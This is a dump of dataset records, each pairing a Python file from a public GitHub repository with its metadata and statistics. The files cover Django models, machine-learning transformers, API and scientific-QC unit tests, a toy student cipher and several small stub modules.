vpn/vpnconf/models.py

futurice/vpn-management-server

5418b22356b58cd9a7f3043ec21e1e728abb6b27

[ "BSD-3-Clause" ]

12

2015-01-09T08:07:48.000Z

2022-02-28T05:00:10.000Z

from django.contrib.auth.models import User from django.db import models from django.conf import settings class Employment(models.Model): name = models.CharField(max_length=50) descr = models.CharField(max_length=100) def __unicode__(self): return self.descr class Computertype(models.Model): name = models.CharField(max_length=50) descr = models.CharField(max_length=100) def __unicode__(self): return self.descr class Computerowner(models.Model): name = models.CharField(max_length=50) descr = models.CharField(max_length=100) def __unicode__(self): return self.descr class HelpChoices(models.Model): name = models.CharField(max_length=50) descr = models.CharField(max_length=100) def __unicode__(self): return self.descr class Log(models.Model): cn = models.CharField(max_length=50) timestamp = models.DateTimeField() message = models.CharField(max_length=250)

28.294118

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962

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0

0.031526

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33

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29.151515

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0

0.111111

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1

0

null

1

0

1

0

null

0

1

0

6

c14329572d8a2634623e7fd0d797edbac077c8e1

3,989

py

Python

transformers/hierarchical/firstNCharCVTE.py

ucds-sg/h2oai

7042860767dc25d1a7d7122103bbd5016d02df53

[ "Apache-2.0" ]

null

transformers/hierarchical/firstNCharCVTE.py

ucds-sg/h2oai

7042860767dc25d1a7d7122103bbd5016d02df53

[ "Apache-2.0" ]

null

transformers/hierarchical/firstNCharCVTE.py

ucds-sg/h2oai

7042860767dc25d1a7d7122103bbd5016d02df53

[ "Apache-2.0" ]

null

"""Target-encode high cardinality categorical text by their first few characters in the string """ """The str columns must be first marked as text in Data Sets page before recipe can take effect """ from h2oaicore.transformer_utils import CustomTransformer import datatable as dt import numpy as np from h2oaicore.transformers import CVTargetEncodeTransformer from sklearn.preprocessing import LabelEncoder class firstNChars: def fit_transform(self, X: dt.Frame, n): return self.transform(X,n) def transform(self, X: dt.Frame,n): assert X.ncols == 1 return dt.Frame(X.to_pandas().apply(lambda x: x[0:n],axis=1)) class frst1ChrsCVTE(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type="text", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None): self.binner = firstNChars() X = self.binner.fit_transform(X,1) # Compute mean target (out of fold) per same string self.cvte = CVTargetEncodeTransformer(cat_cols=X.names) if self.labels is not None: # for classification, always turn y into numeric form, even if already integer y = dt.Frame(LabelEncoder().fit(self.labels).transform(y)) X = self.cvte.fit_transform(X, y) return X def transform(self, X: dt.Frame): X = self.binner.transform(X,1) X = self.cvte.transform(X) return X class frst2ChrsCVTE(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type="text", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None): self.binner = firstNChars() X = self.binner.fit_transform(X,2) # Compute mean target (out of fold) per same string self.cvte = CVTargetEncodeTransformer(cat_cols=X.names) if self.labels is not None: # for classification, always turn y into numeric form, even if already integer y = dt.Frame(LabelEncoder().fit(self.labels).transform(y)) X = self.cvte.fit_transform(X, y) return X def transform(self, X: dt.Frame): X = self.binner.transform(X,2) X = self.cvte.transform(X) return X class frst3ChrsCVTE(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type="text", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None): self.binner = firstNChars() X = self.binner.fit_transform(X,3) # Compute mean target (out of fold) per same string self.cvte = CVTargetEncodeTransformer(cat_cols=X.names) if self.labels is not None: # for classification, always turn y into numeric form, even if already integer y = dt.Frame(LabelEncoder().fit(self.labels).transform(y)) X = self.cvte.fit_transform(X, y) return X def transform(self, X: dt.Frame): X = self.binner.transform(X,3) X = self.cvte.transform(X) return X class frst4ChrsCVTE(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type="text", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None): self.binner = firstNChars() X = self.binner.fit_transform(X,4) # Compute mean target (out of fold) per same string self.cvte = CVTargetEncodeTransformer(cat_cols=X.names) if self.labels is not None: # for classification, always turn y into numeric form, even if already integer y = dt.Frame(LabelEncoder().fit(self.labels).transform(y)) X = self.cvte.fit_transform(X, y) return X def transform(self, X: dt.Frame): X = self.binner.transform(X,4) X = self.cvte.transform(X) return X

34.686957

99

0.65806

552

3,989

4.677536

0.197464

0.06584

0.054222

0.061967

0.808675

0.798606

0.778079

0.74206

0

0.009571

0.240411

3,989

114

100

34.991228

0.842574

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0.56

0

null

0

1

0

null

0

6

c17290801072964d40d0717b9958f5e98d66bf71

3,993

py

Python

tests/api/test_marketo_api.py

BarracudaPff/code-golf-data-pythpn

42e8858c2ebc6a061012bcadb167d29cebb85c5e

[ "MIT" ]

null

tests/api/test_marketo_api.py

BarracudaPff/code-golf-data-pythpn

42e8858c2ebc6a061012bcadb167d29cebb85c5e

[ "MIT" ]

null

tests/api/test_marketo_api.py

BarracudaPff/code-golf-data-pythpn

42e8858c2ebc6a061012bcadb167d29cebb85c5e

[ "MIT" ]

null

responses.mock.assert_all_requests_are_fired = True class MarketoApi(unittest.TestCase): @responses.activate def test_auth(self): marketo_auth_url = "".join(["https://066-eov-335.mktorest.com/", "identity/oauth/token?", "grant_type=client_credentials&client_id=123", "&client_secret=321"]) marketo_auth_payload = {"access_token": "test"} responses.add(responses.GET, marketo_auth_url, json=marketo_auth_payload, status=200) marketo_leads_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/leads.json?", "access_token=test&filterType=email", "&filterValues=testing@testing.com&fields=id"]) marketo_leads_payload = {"result": [{"id": "test"}]} responses.add(responses.GET, marketo_leads_url, json=marketo_leads_payload, status=200) os.environ["MARKETO_CLIENT_ID"] = "fake_id" os.environ["MARKETO_CLIENT_SECRET"] = "fake_secret" marketo = marketo_api.MarketoApi() user = marketo.get_user("testing@testing.com") self.assertEqual(user, {"id": "test"}) @responses.activate def test_get_user(self): marketo_leads_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/leads.json?", "access_token=test&filterType=email", "&filterValues=testing@testing.com&fields=id"]) marketo_leads_payload = {"result": [{"id": "test"}]} responses.add(responses.GET, marketo_leads_url, json=marketo_leads_payload, status=200) marketo = marketo_api.MarketoApi() marketo.token = "test" user = marketo.get_user("testing@testing.com") self.assertEqual(user, {"id": "test"}) @responses.activate def test_get_newsletter_subscription(self): marketo_lead_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/lead/test.json?", "access_token=test&fields=id,email,snapcraftnewsletter"]) marketo_lead_payload = {"result": [{"snapcraftnewsletter": True}]} responses.add(responses.GET, marketo_lead_url, json=marketo_lead_payload, status=200) marketo = marketo_api.MarketoApi() marketo.token = "test" subscription = marketo.get_newsletter_subscription("test") self.assertEqual(subscription, {"snapcraftnewsletter": True}) @responses.activate def test_get_newsletter_subscription_bad_response(self): marketo_lead_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/lead/test.json?", "access_token=test&fields=id,email,snapcraftnewsletter"]) marketo_lead_payload = {"badkey": "bad"} responses.add(responses.GET, marketo_lead_url, json=marketo_lead_payload, status=200) marketo = marketo_api.MarketoApi() marketo.token = "test" subscription = marketo.get_newsletter_subscription("test") self.assertEqual(subscription, {}) @responses.activate def test_set_newsletter_subscription(self): marketo_set_subscription_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/leads.json?", "access_token=test&filterType=email", "&filterValues=testing@testing.com&fields=id"]) responses.add(responses.POST, marketo_set_subscription_url, json={}, status=200) marketo = marketo_api.MarketoApi() marketo.token = "test" response = marketo.set_newsletter_subscription("test", True) self.assertEqual(response, {}) @responses.activate def test_token_refresh(self): marketo_leads_url = "".join(["https://066-eov-335.mktorest.com/", "rest/v1/leads.json?", "access_token=test&filterType=email", "&filterValues=testing@testing.com&fields=id"]) marketo_leads_payload = {"result": [{"id": "test"}]} responses.add(responses.GET, marketo_leads_url, status=602) marketo_auth_url = "".join(["https://066-eov-335.mktorest.com/", "identity/oauth/token?", "grant_type=client_credentials&client_id=123", "&client_secret=321"]) marketo_auth_payload = {"access_token": "refreshed_token"} responses.add(responses.GET, marketo_auth_url, json=marketo_auth_payload, status=200) responses.add(responses.GET, marketo_leads_url, json=marketo_leads_payload, status=200) marketo = marketo_api.MarketoApi() marketo.token = "expired_token" marketo.get_user("testing@testing.com") self.assertEqual(marketo.token, "refreshed_token")

63.380952

187

0.758077

522

3,993

5.561303

0.137931

0.053738

0.065105

0.041337

0.802618

0.80124

0.776783

0.760937

0.743024

0

0.025292

0.079138

3,993

63

188

63.380952

0.76421

0

0.619048

0

0.31973

0.152479

0

0.111111

1

0.095238

false

0

0.111111

0

null

0

1

0

null

0

6

c196d45726ef57b5367bbf32020738503b9b1c6b

251

py

Python

boo/test/test_year.py

AirVetra/boo

bb8404c48a6f17402a98a88454fdd876184c35c1

[ "MIT" ]

1

2019-12-06T21:13:22.000Z

boo/test/test_year.py

AirVetra/boo

bb8404c48a6f17402a98a88454fdd876184c35c1

[ "MIT" ]

null

boo/test/test_year.py

AirVetra/boo

bb8404c48a6f17402a98a88454fdd876184c35c1

[ "MIT" ]

null

import pytest from boo.year import make_url def test_make_url_on_0(): assert make_url(0) def test_make_url_on_good_year(): assert make_url(2012) def test_make_url_on_bad_year(): with pytest.raises(ValueError): make_url(1990)

15.6875

35

0.741036

43

251

3.906977

0.44186

0.291667

0.196429

0.25

0.285714

0

0.048544

0.179283

251

15

36

16.733333

0.76699

0

0.222222

1

0.333333

true

0

0.222222

0

0.555556

0

null

1

0

null

0

1

0

1

0

6

c19ae499db4982713bb565ec68b3ab18348bdb49

353

py

Python

misp_stix_converter/stix_import/stix2_import.py

MISP/misp-stix

fbbce1fa63235b22373063d61b1f97ee408a4aad

[ "BSD-2-Clause" ]

7

2021-03-24T05:36:36.000Z

2022-02-12T08:32:10.000Z

misp_stix_converter/stix_import/stix2_import.py

MISP/misp-stix

fbbce1fa63235b22373063d61b1f97ee408a4aad

[ "BSD-2-Clause" ]

11

2021-05-26T04:04:25.000Z

2021-12-25T05:25:56.000Z

misp_stix_converter/stix_import/stix2_import.py

chrisr3d/MISP-STIX-Converter

ddc78acb18e33e6dfea8e96dfd48e472bcbd4b26

[ "BSD-2-Clause" ]

3

2021-07-04T22:56:10.000Z

2022-03-25T21:07:59.000Z

# -*- coding: utf-8 -*- #!/usr/bin/env python3 import stix2 class Stix2ImportParser(ImportParser): def __init__(self): super().__init__() class Stix2FromMISPImportParser(ImportParser): def __init__(self): super().__init__() class ExternalStix2ImportParser(ImportParser): def __init__(self): super().__init__()

17.65

46

0.677054

33

353

6.515152

0.545455

0.209302

0.265116

0.32093

0.493023

0.344186

0

0.020979

0.189802

353

19

47

18.578947

0.730769

0.11898

0

0.6

0

1

0.3

false

0

0.4

0

1

0

null

1

0

null

0

1

0

1

0

1

0

6

de0454179243a398e4435af9b401a525f4c2ba37

161

py

Python

app/modules/handlers/errors.py

willypuzzle/flask-foundation

3d4a09470d8303905969f19a990baa0945fdf1d0

[ "BSD-2-Clause" ]

null

app/modules/handlers/errors.py

willypuzzle/flask-foundation

3d4a09470d8303905969f19a990baa0945fdf1d0

[ "BSD-2-Clause" ]

null

app/modules/handlers/errors.py

willypuzzle/flask-foundation

3d4a09470d8303905969f19a990baa0945fdf1d0

[ "BSD-2-Clause" ]

null

from flask import render_template def init_app(app): @app.errorhandler(404) def not_found(error): return render_template('errors/404.html'), 404

26.833333

54

0.720497

23

161

4.869565

0.695652

0.25

0

0.067669

0.173913

161

6

54

26.833333

0.774436

0

0.092593

0

1

0.4

false

0

0.2

0.8

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

a9b49e10cdcf2514a83b5a43111171783676b88d

7,030

py

Python

tests/test_checks.py

euroargodev/argonrtqcpy

28f72d43e964d951521fd6d35be79e6e6a2fa880

[ "MIT" ]

4

2021-06-07T14:39:55.000Z

2022-01-29T06:57:28.000Z

tests/test_checks.py

euroargodev/argonrtqcpy

28f72d43e964d951521fd6d35be79e6e6a2fa880

[ "MIT" ]

5

2021-06-17T07:42:08.000Z

2021-06-21T12:01:48.000Z

tests/test_checks.py

euroargodev/argortqcpy

28f72d43e964d951521fd6d35be79e6e6a2fa880

[ "MIT" ]

null

"""Tests for Argo checks.""" import numpy as np from numpy import ma import pytest import argortqcpy.profile from argortqcpy.checks import ArgoQcFlag, CheckOutput, PressureIncreasingCheck def test_check_is_required(fake_check): """Check that the base check is required.""" assert fake_check.is_required() def test_output_ensure_output_for_property(profile_from_dataset): """Test ensuring a property is given an output array.""" output = CheckOutput(profile=profile_from_dataset) output.ensure_output_for_property("PRES") flags = output.get_output_flags_for_property("PRES") assert flags is not None assert isinstance(flags, ma.MaskedArray) assert np.all(flags == ArgoQcFlag.GOOD.value) def test_output_set_output_flag_for_property(profile_from_dataset): """Test setting a flag for a given property.""" output = CheckOutput(profile=profile_from_dataset) output.ensure_output_for_property("PRES") output.set_output_flag_for_property("PRES", ArgoQcFlag.GOOD) flags = output.get_output_flags_for_property("PRES") assert flags is not None assert isinstance(flags, ma.MaskedArray) assert np.all(flags == ArgoQcFlag.GOOD.value) def test_output_set_output_flag_for_property_where(profile_from_dataset): """Test setting a flag for a given property for a limited set of indices.""" output = CheckOutput(profile=profile_from_dataset) output.ensure_output_for_property("PRES") output.set_output_flag_for_property("PRES", ArgoQcFlag.PROBABLY_GOOD, where=slice(None, 2)) flags = output.get_output_flags_for_property("PRES") assert flags is not None assert isinstance(flags, ma.MaskedArray) assert np.all(flags[:2] == ArgoQcFlag.PROBABLY_GOOD.value) assert np.all(flags[2:] == ArgoQcFlag.GOOD.value) def test_output_set_output_flag_for_property_where_array(profile_from_dataset): """Test setting a flag for a given property for indices limited by array.""" output = CheckOutput(profile=profile_from_dataset) where = np.full_like(profile_from_dataset.get_property_data("PRES"), False, dtype=bool) where[0] = True where[-1] = True output.ensure_output_for_property("PRES") output.set_output_flag_for_property("PRES", ArgoQcFlag.PROBABLY_GOOD, where=where) flags = output.get_output_flags_for_property("PRES") assert flags is not None assert isinstance(flags, ma.MaskedArray) assert np.all(flags[0] == ArgoQcFlag.PROBABLY_GOOD.value) assert np.all(flags[1:-1] == ArgoQcFlag.GOOD.value) assert np.all(flags[-1] == ArgoQcFlag.PROBABLY_GOOD.value) @pytest.mark.parametrize( "lower,higher", ( (ArgoQcFlag.PROBABLY_GOOD, ArgoQcFlag.BAD), (ArgoQcFlag.PROBABLY_GOOD, ArgoQcFlag.PROBABLY_BAD), (ArgoQcFlag.PROBABLY_BAD, ArgoQcFlag.BAD), ), ) def test_output_set_output_flag_for_property_with_precendence(profile_from_dataset, lower, higher): """Test setting a flag for a given property for a limited set of indices.""" output = CheckOutput(profile=profile_from_dataset) output.ensure_output_for_property("PRES") output.set_output_flag_for_property("PRES", lower, where=slice(None, 2)) output.set_output_flag_for_property("PRES", higher, where=slice(None, 1)) output.set_output_flag_for_property("PRES", lower, where=slice(None, 2)) flags = output.get_output_flags_for_property("PRES") assert flags is not None assert isinstance(flags, ma.MaskedArray) assert np.all(flags[:1] == higher.value) assert np.all(flags[1:2] == lower.value) assert np.all(flags[2:] == ArgoQcFlag.GOOD.value) @pytest.mark.parametrize( "pressure_values", ( range(10), [1, 3, 5, 10, 100], [0, 2, 2.5, 6.85], ), ) def test_pressure_increasing_check_all_pass(mocker, pressure_values): """Test that the pressure increasing test succeeds.""" profile = mocker.patch.object(argortqcpy.profile, "Profile") profile.get_property_data = mocker.Mock(return_value=ma.masked_array(pressure_values)) pic = PressureIncreasingCheck(profile, None) output = pic.run() assert np.all(output.get_output_flags_for_property("PRES").data == ArgoQcFlag.GOOD.value) @pytest.mark.parametrize( "pressure_values,expected", ( ( [0, 2, 1, 5], [ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.GOOD.value], ), ), ) def test_pressure_increasing_check_some_bad(mocker, pressure_values, expected): """Test that the pressure increasing works when some values are bad.""" profile = mocker.patch.object(argortqcpy.profile, "Profile") profile.get_property_data = mocker.Mock(return_value=ma.masked_array(pressure_values)) pic = PressureIncreasingCheck(profile, None) output = pic.run() assert np.all(output.get_output_flags_for_property("PRES").data == expected) @pytest.mark.parametrize( "pressure_values,expected", ( ( [0] * 4, [ArgoQcFlag.GOOD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.BAD.value], ), ( [0, 1, 1, 2], [ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.GOOD.value], ), ), ) def test_pressure_increasing_check_some_constants(mocker, pressure_values, expected): """Test that the pressure increasing works when some values are constant.""" profile = mocker.patch.object(argortqcpy.profile, "Profile") profile.get_property_data = mocker.Mock(return_value=ma.masked_array(pressure_values)) pic = PressureIncreasingCheck(profile, None) output = pic.run() assert np.all(output.get_output_flags_for_property("PRES").data == expected) @pytest.mark.parametrize( "pressure_values,expected", ( ( [0, 1, 2, 1, 1.5, 3, 5], [ ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ], ), ( [ [0, 1, 2, 3], [0, 1, 0, 1], ], [ [ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value], [ArgoQcFlag.GOOD.value, ArgoQcFlag.GOOD.value, ArgoQcFlag.BAD.value, ArgoQcFlag.BAD.value], ], ), ), ) def test_pressure_increasing_check_some_decreasing(mocker, pressure_values, expected): """Test that the pressure increasing works when some values are decreasing.""" profile = mocker.patch.object(argortqcpy.profile, "Profile") profile.get_property_data = mocker.Mock(return_value=ma.masked_array(pressure_values)) pic = PressureIncreasingCheck(profile, None) output = pic.run() assert np.all(output.get_output_flags_for_property("PRES").data == expected)

35.505051

109

0.696159

889

7,030

5.283465

0.113611

0.051735

0.097083

0.092612

0.839898

0.816904

0.804982

0.764105

0.723015

0.709602

0

0.010384

0.19175

7,030

197

110

35.685279

0.816262

0.089047

0

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0

0.033239

0.011342

0

0.172414

1

0.068966

false

0.006897

0.034483

0

0.103448

0

null

0

1

0

null

0

6

a9b535e5c72c0679f170c3a642c6e16c02b64e67

3,481

py

Python

cryptography.py

hackmeehan/Cryptography

6ff2847fba286d3a3f22ee1a8c234f1b8ea4559f

[ "MIT" ]

null

cryptography.py

hackmeehan/Cryptography

6ff2847fba286d3a3f22ee1a8c234f1b8ea4559f

[ "MIT" ]

null

cryptography.py

hackmeehan/Cryptography

6ff2847fba286d3a3f22ee1a8c234f1b8ea4559f

[ "MIT" ]

null

""" cryptography.py Author: Jack Meehan Credit: None, just help from Eric and Mr. Dennison Assignment: Write and submit a program that encrypts and decrypts user data. See the detailed requirements at https://github.com/HHS-IntroProgramming/Cryptography/blob/master/README.md """ associations = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .,:;'\"/\\<>(){}[]-=_+?!" A = input('Enter e to encrypt, d to decrypt, or q to quit: ') while A != 'q': if A == 'e': message = input('Message: ') key = input('Key: ') z = len(message) f = len(key) a = zip(message, key) if f == z: for l in a: b = associations.find(l[0]) c = associations.find(l[1]) d = b+c e = str(associations[d]) print(e, end="") if f < z: e = z/f import math r = math.ceil(e) key = r*key for l in zip(message, key): b = associations.find(l[0]) c = associations.find(l[1]) d = (b+c) e = associations[d] q = print(e, end="") if f > z: for l in a: b = associations.find(l[0]) c = associations.find(l[1]) d = (b+c) e = associations[d] print(e, end="") elif A == 'd': message2 = input('Message: ') key2 = input('Key: ') z = len(message2) f = len(key2) a = zip(message2, key2) if f == z: for l in a: b = associations.find(l[0]) c = associations.find(l[1]) d = b-c e = str(associations[d]) print(e, end="") if f < z: e = z/f import math r = math.ceil(e) key2 = r*key2 for l in zip(message2, key2): b = associations.find(l[0]) c = associations.find(l[1]) d = (b-c) e = associations[d] q = print(e, end="") if f > z: for l in a: b = associations.find(l[0]) c = associations.find(l[1]) d = (b-c) e = associations[d] print(e, end="") else: print('Did not understand command, try again.') print(' ') A = input('Enter e to encrypt, d to decrypt, or q to quit: ') else: print('Goodbye!') # +KF;B(CH=NIZ}m;R\Dt

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a9bc9ff7c65d7623a88a42c5c5d93cf8c968090a

95

py

Python

server/service_application/models/__init__.py

yseiren87/jellicleSpace

10d693bbc04e6b89a7ce15d2dc9797cec2a553b7

[ "Apache-2.0" ]

null

server/service_application/models/__init__.py

yseiren87/jellicleSpace

10d693bbc04e6b89a7ce15d2dc9797cec2a553b7

[ "Apache-2.0" ]

7

2021-03-19T04:47:00.000Z

2021-09-22T19:10:46.000Z

server/service_application/models/__init__.py

yseiren87/jellicleSpace

10d693bbc04e6b89a7ce15d2dc9797cec2a553b7

[ "Apache-2.0" ]

null

from .application import ApplicationModel from .using_application import UsingApplicationModel

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e77aa77009a13b8dcffb3af1a1bf0eebade3e9fe

34

py

Python

aoc/d22/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

aoc/d22/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

aoc/d22/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

from aoc.d22.main import p_1, p_2

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e79f5b2bf90e278e5c49f926cb0666b087b75003

280

py

Python

ex3/database.py

AbdManian/pythonclass-exercises

8159b675aa71b4b8580430077d831914715ee409

[ "MIT" ]

null

ex3/database.py

AbdManian/pythonclass-exercises

8159b675aa71b4b8580430077d831914715ee409

[ "MIT" ]

null

ex3/database.py

AbdManian/pythonclass-exercises

8159b675aa71b4b8580430077d831914715ee409

[ "MIT" ]

null

db = [] def db_add(value): pass def db_remove_first(): pass def db_remove_last(): pass def db_find(value): return False def db_add_multiple(value_list): pass def db_export_to_file(file_name): pass def db_import_from_file(file_name): pass

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99d66bc9caa0b51b20f45a56d55f7e83d7540476

118

py

Python

handtracking/src/app/mediapipeadapter/__init__.py

rafaeltoyo/unity-vr-server

f07edb64a15673cd79287668280742267eb38418

[ "MIT" ]

3

2020-09-04T01:00:30.000Z

2021-06-21T23:13:08.000Z

handtracking/src/app/mediapipeadapter/__init__.py

rafaeltoyo/unity-vr-server

f07edb64a15673cd79287668280742267eb38418

[ "MIT" ]

null

handtracking/src/app/mediapipeadapter/__init__.py

rafaeltoyo/unity-vr-server

f07edb64a15673cd79287668280742267eb38418

[ "MIT" ]

3

2021-01-12T02:35:53.000Z

2022-02-15T03:17:25.000Z

from .mp_body_pose_handler import MediaPipeBodyPoseHandler from .mp_hand_pose_handler import MediaPipeHandPoseHandler

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99dba6e170c2f8a937d7f450ce7193df93c10f03

598

py

Python

aquami3D/prototyping/test skel nodes.py

JStuckner/Aquami3D

72dd59f2b62b008b48d3c6c25db76aa0c7607020

[ "MIT" ]

null

aquami3D/prototyping/test skel nodes.py

JStuckner/Aquami3D

72dd59f2b62b008b48d3c6c25db76aa0c7607020

[ "MIT" ]

null

aquami3D/prototyping/test skel nodes.py

JStuckner/Aquami3D

72dd59f2b62b008b48d3c6c25db76aa0c7607020

[ "MIT" ]

null

import numpy as np from skimage import morphology import matplotlib.pyplot as plt a = np.array( [[0,1,1,1,0,0,0,1,1,1,0], [0,1,1,1,0,0,0,1,1,1,0], [0,0,1,1,1,0,1,1,1,0,0], [0,0,0,1,1,1,1,1,0,0,0], [0,0,0,0,1,1,1,0,0,0,0], [0,0,0,0,1,1,1,0,0,0,0], [0,0,0,0,1,1,1,0,0,0,0], [0,0,0,1,1,1,1,1,0,0,0], [0,0,1,1,1,0,1,1,1,0,0], [0,1,1,1,0,0,0,1,1,1,0], [0,1,1,1,0,0,0,1,1,1,0]]) skel = morphology.skeletonize(a).astype('bool') b = np.zeros(a.shape) b[a==1] = 125 b[skel==1] = 255 plt.imshow(b, cmap=plt.cm.gray, interpolation=None) plt.show()

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99ddb5ccdeaebf3f4d00270c2bca078077db90c9

2,330

py

Python

tests/test_benchmarks/test_kar2019.py

dmayo/brain-score

3ab4258152c9e3f8c7d29afb10158b184dbcebbe

[ "MIT" ]

52

2019-12-13T06:43:44.000Z

2022-02-21T07:47:39.000Z

tests/test_benchmarks/test_kar2019.py

dmayo/brain-score

3ab4258152c9e3f8c7d29afb10158b184dbcebbe

[ "MIT" ]

104

2019-12-06T18:08:54.000Z

2022-03-31T23:57:51.000Z

tests/test_benchmarks/test_kar2019.py

dmayo/brain-score

3ab4258152c9e3f8c7d29afb10158b184dbcebbe

[ "MIT" ]

32

2019-12-05T14:31:14.000Z

2022-03-10T02:04:45.000Z

import numpy as np import pytest from numpy.random.mtrand import RandomState from pytest import approx from brainio.assemblies import DataAssembly from brainscore.benchmarks.kar2019 import DicarloKar2019OST from tests.test_benchmarks import PrecomputedFeatures @pytest.mark.memory_intense @pytest.mark.private_access def test_no_time(): benchmark = DicarloKar2019OST() rnd = RandomState(0) stimuli = benchmark._assembly.stimulus_set source = DataAssembly(rnd.rand(len(stimuli), 5, 1), coords={ 'image_id': ('presentation', stimuli['image_id']), 'image_label': ('presentation', stimuli['image_label']), 'truth': ('presentation', stimuli['truth']), 'neuroid_id': ('neuroid', list(range(5))), 'layer': ('neuroid', ['test'] * 5), 'time_bin_start': ('time_bin', [70]), 'time_bin_end': ('time_bin', [170]), }, dims=['presentation', 'neuroid', 'time_bin']) source.name = __name__ + ".test_notime" score = benchmark(PrecomputedFeatures(source, visual_degrees=8)) assert np.isnan(score.sel(aggregation='center')) # not a temporal model assert np.isnan(score.raw.sel(aggregation='center')) # not a temporal model assert score.attrs['ceiling'].sel(aggregation='center') == approx(.79) @pytest.mark.memory_intense @pytest.mark.private_access def test_random_time(): benchmark = DicarloKar2019OST() rnd = RandomState(0) stimuli = benchmark._assembly.stimulus_set source = DataAssembly(rnd.rand(len(stimuli), 5, 5), coords={ 'image_id': ('presentation', stimuli['image_id']), 'image_label': ('presentation', stimuli['image_label']), 'truth': ('presentation', stimuli['truth']), 'neuroid_id': ('neuroid', list(range(5))), 'layer': ('neuroid', ['test'] * 5), 'time_bin_start': ('time_bin', [70, 90, 110, 130, 150]), 'time_bin_end': ('time_bin', [90, 110, 130, 150, 170]), }, dims=['presentation', 'neuroid', 'time_bin']) source.name = __name__ + ".test_notime" score = benchmark(PrecomputedFeatures(source, visual_degrees=8)) assert np.isnan(score.sel(aggregation='center')) # not a temporal model assert np.isnan(score.raw.sel(aggregation='center')) # not a temporal model assert score.attrs['ceiling'].sel(aggregation='center') == approx(.79)

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null

0

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null

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82176aca41231ea6bfd0eca97290d6d2bbdc28a9

48

py

Python

python/databases/MySQL.py

wjiec/packages

4ccaf8f717265a1f8a9af533f9a998b935efb32a

[ "MIT" ]

null

python/databases/MySQL.py

wjiec/packages

4ccaf8f717265a1f8a9af533f9a998b935efb32a

[ "MIT" ]

1

2016-09-15T07:06:15.000Z

python/databases/MySQL.py

wjiec/packages

4ccaf8f717265a1f8a9af533f9a998b935efb32a

[ "MIT" ]

null

#!/usr/bin.env python3 import mysql.connector

16

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1

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6

416d3ee536bfc188ba9ad730b2806df23fd4dde8

5,037

py

Python

src/unit_test.py

TheEnterpriseProgrammer/file-logger

da249e0b5a111c57b2da33eb5a09ed539a110a95

[ "MIT" ]

null

src/unit_test.py

TheEnterpriseProgrammer/file-logger

da249e0b5a111c57b2da33eb5a09ed539a110a95

[ "MIT" ]

null

src/unit_test.py

TheEnterpriseProgrammer/file-logger

da249e0b5a111c57b2da33eb5a09ed539a110a95

[ "MIT" ]

null

